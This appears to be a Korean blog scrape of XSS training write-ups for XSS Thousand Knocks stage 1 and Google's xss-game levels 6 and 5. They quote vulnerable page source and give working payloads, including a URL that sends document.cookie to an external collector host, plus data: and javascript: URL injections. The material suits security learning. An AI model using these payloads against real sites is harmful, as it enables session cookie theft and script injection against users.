XSS문제를 더 풀고 싶어서 XSS Thousand Knocks 풀게 됨.


https://knock.xss.moe/index


우선 Stage1은 튜토리얼이었는데 어떻게 푸는건지 몰라서 시간이 좀 걸림. 



위와 같이 써있는데 서버를 활용해서 XSS 공격을 보낸 후에 서버에 오는 플래그를 읽으면 되는 문제라고 한다. 


처음에는 vm 서버를 활용해서 문제를 풀려고 했으나 외부 접속을 막고 있는지 문제가 풀리지 않았다. 


그래서 http://requestbin.fullcontact.com을 활용하였다. 


해당 문제에 1번에 위와 같이 적어있어서 해당 페이지에 접속해

http://8293927d3c84ed42eef26dd9ceaaa3d9bf448dda.knock.xss.moe/?location=%22http://example.com/?%22%2Bdocument.cookie

이렇게 적어줬는데 이렇게 푸는 문제가 아니라 url form에 넣으면 이 사이트에서 알아서 플래그를 보내준다. 

이 튜토리얼은 그 과정을 설명하기 위한 문제인듯하다. 

requestbin을 활용하면 url이 제공되는데 그 제공된 url의 example.com 안에 넣어서 보내면 플래그가 requestbin으로 전송된다. 





튜토리얼을 통해 어떻게 푸는지 알게 되었다. 


Xss game level 6 write up - 마지막


#번역

미션 설명 : 복잡한 웹 응용 프로그램에는 URL 매개변수의 값 또는 일부의 값에 따라 Javascript 라이브러리를 동적으로 로드할 수 있는 location.hash 기능있습니다. 

스크립트를 비롯한 잠재적으로 위험한 유형의 XMLHttpRequest 데이터를 로드할 때마다  심각한 취약점을 초래할 수 있수 있기에 사용자 입력이 url에 영향을 미치도록 허용하는 것은 매우 까다로운 작업입니다. 


미션 목표 : 응용 프로그램이 외부 파일을 요청하도록 하여 alert()를 실행하도록 하시오.



#분석


우선 미션 설명에서 얻을 수 있는 정보는 url를 이용해야 되고 그 중 js라이브러리를 동적으로 로드할 수 있는 함수 중 location.hash를 사용해야 된다는거!

그럼 소스에서 location.hash를 찾아보자. 




<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <script>
    function setInnerText(element, value) {
      if (element.innerText) {
        element.innerText = value;
      } else {
        element.textContent = value;
      }
    }
 
    function includeGadget(url) {
      var scriptEl = document.createElement('script');
 
      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }
 
      // Load this awesome gadget
      scriptEl.src = url;
 
      // Show log messages
      scriptEl.onload = function() {
        setInnerText(document.getElementById("log"), 
          "Loaded gadget from " + url);
      }
      scriptEl.onerror = function() {
        setInnerText(document.getElementById("log"), 
          "Couldn't load gadget from " + url);
      }
 
      document.head.appendChild(scriptEl);
    }
 
    // Take the value after # and use it as the gadget filename.
    function getGadgetName() {
      return window.location.hash.substr(1) || "/static/gadget.js";
    }
 
    includeGadget(getGadgetName());
 
    // Extra code so that we can communicate with the parent page
    window.addEventListener("message", function(event){
      if (event.source == parent) {
        includeGadget(getGadgetName());
      }
    }, false);
 
    </script>
  </head>
 
  <body id="level6">
    <img src="/static/logos/level6.png">
    <img id="cube" src="/static/level6_cube.png">
    <div id="log">Loading gadget...</div>
  </body>
</html>

index.html 전체 소스 




// Take the value after # and use it as the gadget filename.
    function getGadgetName() {
      return window.location.hash.substr(1) || "/static/gadget.js";
    }

위에는 location.hash가 포함된 부분이다. 주석에는 #을 사용한 후에 gadget 파일을 사용한다고 한다.


#뒤의 내용을 출력해주고 있다. 



#? hint를 보면 #에 대한 언급이 있다. 




hint

1. 위치 #의 값이 로드된 스크립트의 url에 어떻게 영향을 미치는지 확인하세요.

2. Gadgets의 url 보안검사가 정말로 안전한가요?

3. 때때로 좌절감을 느낄때 비명을 지르고 싶다(??????이거 진짜임?)

4. 악의적인 JS파일을 쉽게 호스팅할 수 없다면, google.com/jsapi?callback=foo가 여기에 도움이 되는지 확인을 하세요. -> 스크립트 파일을 서버에 올려서 사용하라는 말이란다...음..


foo는 heap에서 공부할 때도 많이 나왔는데 그냥 빈칸 채우기 용인가???

검색해보니까 재밌는게 있어서 첨부함. http://aroundck.tistory.com/956

빈칸 채우기용 foo! 왜인지 heap 공부할 때 이해안되서 쳐보니까 아무것도 안 나오더라~~~


url을 보면 https://xss-game.appspot.com/level6/frame#/static/gadget.js 이렇게 구성이 되어있다. # 뒤에 있는 내용이 화면에 출력된다. 







#익스


서버 사용하기 귀찮아서 data url scheme으로 풀게 되었다. 

데이터를 url로 변경해서 data:[자료타입],[데이터] 이렇게 넣으면 된다. 


https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('yeali');





이렇게 넣으면 성공.




pps. http://jeonyoungsin.tistory.com/480


이런식으로 푸는 방법도 있다.






'WebHacking > Xss-game Write-Up' 카테고리의 다른 글

Xss game level 5 write up  (0) 2018.07.17
Xss-game level 4 write up  (0) 2018.07.17
Xss game level 3 write-up  (0) 2018.07.17
Xss-game level 2 write_up  (0) 2018.07.17
Xss-game level 1 write-up  (0) 2018.07.17

Xss game level 5 write up


#번역


미션 설명 : XSS는 데이터를 올바르게 이스케이프 처리하는거에 멈추지 않습니다. 때로는 공격자가 Dom에 새 요소를 주입하지 않고도 나쁜일을 할 수 있습니다.


미션 목표 : alert()를 넣어서 팝업 스크립트를 삽입하시오.



#분석


Dom에 스크립트를 삽입하지 않고 푸는 문제라는게 무슨 뜻일까?? 풀면 알 듯하다. 


hint

1. 제목이 힌트이다.

2. 가입 프레임의 소스를 보고 URL 매캐 변수가 어떻게 사용되는지 살펴보는것이 좋다.

3. onclick 핸들러를 사용하지 않고 링크를 클릭하여 javascript를 실행하게 하려면 어떻게 해야 되는가?

4. 진짜 안 풀리면 IETF 초안을 살펴보자. (https://tools.ietf.org/html/draft-hoehrmann-javascript-scheme-00)




의심스러운 것!

<script>
      setTimeout(function() { window.location = '{{ next }}'; }, 5000);
    </script>


이 부분이 의심스러웠음. timeout을 하는 곳에 스크립트를 추가해서 하는건가?!


next는 

    <a href="{{ next }}">Next >></a>

이렇게 링크를 클릭하면 next를 받아서 넘어가도록 코딩해놓음. 



next변수가 get방식으로 하여 url에 드러나니 url로 스크립트를 전달하면 된다. 


url로 스크립트를 전달하는 것이 Dom에 스크립트를 삽입하지 않고 문제를 푸는 것일까??


" "안에 있는 내용은 내 생각임을 밝힘. 틀리면 말해주세여. 내가 이해한 내용이 틀렸다는거니까!



** Dom : Document Object Model 문서 객체 모델은 HTML 및 XML 문서를 처리하는 API라고 합니다. 문서의 구조적 형태를 제공하므로 자바스크립트와 같은 스크립트 언어를 사용하여 문서 내용과 시각적 표현을 수정할 수 있습니다. 

"문서를 구조화시키고 Dom이 이해해서 추상화를 시킨다. 여기서 추상화란, 핵심적인 개념을 뽑는 활동으로 생각했다. 추상화를 시켜서 그를 이미지화하여 브라우저에 보이게 하는 역할을 한다고 생각함. "


** API : 응용 프로그램에서 사용할 수 있도록 운영 체제나 프로그래밍 언어가 제공하는 기능을 제어할 수 있게 만든 인터페이스를 뜻함. 

"인터페이스란 다른 언어를 사용하고 있는 매체들 사이에서 의사소통이 가능하도록 하는 것을 말한다고 한다. 그러므로 프로그램에서 운영체제와 프로그래밍 언어를 제공할 수 있도록 만드는 의사소통 가능하게 만드는 것이라고 생각함"



next 변수를 활용하는 건 알았는데, next변수에 alert()를 넣고 Go를 눌러도 아무 반응이 없었다. 


Go를 누르는게 아닌거같다. next 링크가 url에 있는대로 가서 바꿔주지 않으면 confirm으로 가게 되는데, 이것을 팝업창을 띄어주는 스크립트를 넣으면 된다. 이런게 Dom에 스크립트를 추가하지 않고 실행하는 예시인듯하다. 


#익스



https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('yeali');

을 넣고, next를 누르면 뜸. 






'WebHacking > Xss-game Write-Up' 카테고리의 다른 글

Xss game level 6 write up  (0) 2018.07.17
Xss-game level 4 write up  (0) 2018.07.17
Xss game level 3 write-up  (0) 2018.07.17
Xss-game level 2 write_up  (0) 2018.07.17
Xss-game level 1 write-up  (0) 2018.07.17

+ Recent posts